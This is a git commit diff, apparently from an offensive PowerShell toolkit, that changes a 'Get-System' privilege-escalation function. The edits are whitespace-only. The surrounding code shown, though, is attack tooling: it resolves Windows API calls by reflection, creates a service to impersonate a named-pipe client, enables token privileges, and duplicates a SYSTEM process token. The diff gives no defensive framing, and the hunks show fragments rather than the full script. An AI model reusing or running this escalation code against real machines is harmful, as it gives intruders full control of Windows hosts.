@@ -111,11 +111,11 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
111
111
Param
112
112
(
113
113
[OutputType ([Type ])]
114
-
114
+
115
115
[Parameter ( Position = 0 )]
116
116
[Type []]
117
117
$Parameters = (New-Object Type[](0 )),
118
-
118
+
119
119
[Parameter ( Position = 1 )]
120
120
[Type ]
121
121
$ReturnType = [Void ]
@@ -130,7 +130,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
130
130
$ConstructorBuilder.SetImplementationFlags (' Runtime, Managed' )
131
131
$MethodBuilder = $TypeBuilder.DefineMethod (' Invoke' , ' Public, HideBySig, NewSlot, Virtual' , $ReturnType , $Parameters )
132
132
$MethodBuilder.SetImplementationFlags (' Runtime, Managed' )
133
-
133
+
134
134
Write-Output $TypeBuilder.CreateType ()
135
135
}
136
136
@@ -140,11 +140,11 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
140
140
Param
141
141
(
142
142
[OutputType ([IntPtr ])]
143
-
143
+
144
144
[Parameter ( Position = 0 , Mandatory = $True )]
145
145
[String ]
146
146
$Module ,
147
-
147
+
148
148
[Parameter ( Position = 1 , Mandatory = $True )]
149
149
[String ]
150
150
$Procedure
@@ -161,7 +161,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
161
161
$Kern32Handle = $GetModuleHandle.Invoke ($null , @ ($Module ))
162
162
$tmpPtr = New-Object IntPtr
163
163
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr , $Kern32Handle )
164
-
164
+
165
165
# Return the address of the function
166
166
Write-Output $GetProcAddress.Invoke ($null , @ ([System.Runtime.InteropServices.HandleRef ]$HandleRef , $Procedure ))
167
167
}
@@ -190,7 +190,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
190
190
$PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle ()
191
191
192
192
# Declare/setup all the needed API function
193
- # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
193
+ # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
194
194
$ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
195
195
$ImpersonateNamedPipeClientDelegate = Get-DelegateType @ ( [Int ] ) ([Int ])
196
196
$ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal ]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr , $ImpersonateNamedPipeClientDelegate )
@@ -202,11 +202,11 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
202
202
$OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
203
203
$OpenSCManagerADelegate = Get-DelegateType @ ( [String ], [String ], [Int ]) ([IntPtr ])
204
204
$OpenSCManagerA = [System.Runtime.InteropServices.Marshal ]::GetDelegateForFunctionPointer($OpenSCManagerAAddr , $OpenSCManagerADelegate )
205
-
205
+
206
206
$OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
207
207
$OpenServiceADelegate = Get-DelegateType @ ( [IntPtr ], [String ], [Int ]) ([IntPtr ])
208
208
$OpenServiceA = [System.Runtime.InteropServices.Marshal ]::GetDelegateForFunctionPointer($OpenServiceAAddr , $OpenServiceADelegate )
209
-
209
+
210
210
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
211
211
$CreateServiceADelegate = Get-DelegateType @ ( [IntPtr ], [String ], [String ], [Int ], [Int ], [Int ], [Int ], [String ], [String ], [Int ], [Int ], [Int ], [Int ]) ([IntPtr ])
212
212
$CreateServiceA = [System.Runtime.InteropServices.Marshal ]::GetDelegateForFunctionPointer($CreateServiceAAddr , $CreateServiceADelegate )
@@ -298,8 +298,8 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
298
298
else {
299
299
Write-Verbose ' [Get-System] Service successfully deleted'
300
300
}
301
-
302
- # Step 7 - CloseServiceHandle() for the service handle
301
+
302
+ # Step 7 - CloseServiceHandle() for the service handle
303
303
Write-Verbose ' [Get-System] Closing the service handle'
304
304
$val = $CloseServiceHandle.Invoke ($ServiceHandle )
305
305
Write-Verbose ' [Get-System] Service handle closed off'
@@ -458,15 +458,15 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
458
458
@ ([IntPtr ], [Bool ], $TokPriv1LuidStruct.MakeByRefType (), [Int32 ], [IntPtr ], [IntPtr ]),
459
459
[Runtime.InteropServices.CallingConvention ]::Winapi,
460
460
' Auto' ).SetCustomAttribute($AttribBuilder )
461
-
461
+
462
462
$Win32Methods = $Win32TypeBuilder.CreateType ()
463
463
464
464
$Win32Native = [Int32 ].Assembly.GetTypes() | Where-Object {$_.Name -eq ' Win32Native' }
465
465
$GetCurrentProcess = $Win32Native.GetMethod (
466
466
' GetCurrentProcess' ,
467
467
[Reflection.BindingFlags ] ' NonPublic, Static'
468
468
)
469
-
469
+
470
470
$SE_PRIVILEGE_ENABLED = 0x00000002
471
471
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
472
472
# $STANDARD_RIGHTS_READ = 0x00020000
@@ -509,7 +509,7 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
509
509
if (-not ($RetVal )) {
510
510
Write-Error " [Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal " - ErrorAction Stop
511
511
}
512
-
512
+
513
513
$LocalSystemNTAccount = (New-Object - TypeName ' System.Security.Principal.SecurityIdentifier' - ArgumentList ([Security.Principal.WellKnownSidType ]::' LocalSystemSid' , $null )).Translate([Security.Principal.NTAccount ]).Value
514
514
515
515
$SystemHandle = Get-WmiObject - Class Win32_Process | ForEach-Object {
@@ -532,10 +532,10 @@ http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
532
532
Write-Verbose " [Get-System] error enumerating handle: $_ "
533
533
}
534
534
} | Where-Object {$_ -and ($_ -ne 0 )} | Select-Object - First 1
535
-
535
+
536
536
if ((-not $SystemHandle ) -or ($SystemHandle -eq 0 )) {
537
537
Write-Error ' [Get-System] Unable to obtain a handle to a system process.'
538
- }
538
+ }
539
539
else {
540
540
[IntPtr ]$SystemToken = [IntPtr ]::Zero
541
541
$RetVal = $Win32Methods ::OpenProcessToken(([IntPtr ][Int ] $SystemHandle ), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE ), [ref ]$SystemToken );$LastError = [ComponentModel.Win32Exception ][Runtime.InteropServices.Marshal ]::GetLastWin32Error()
0 commit comments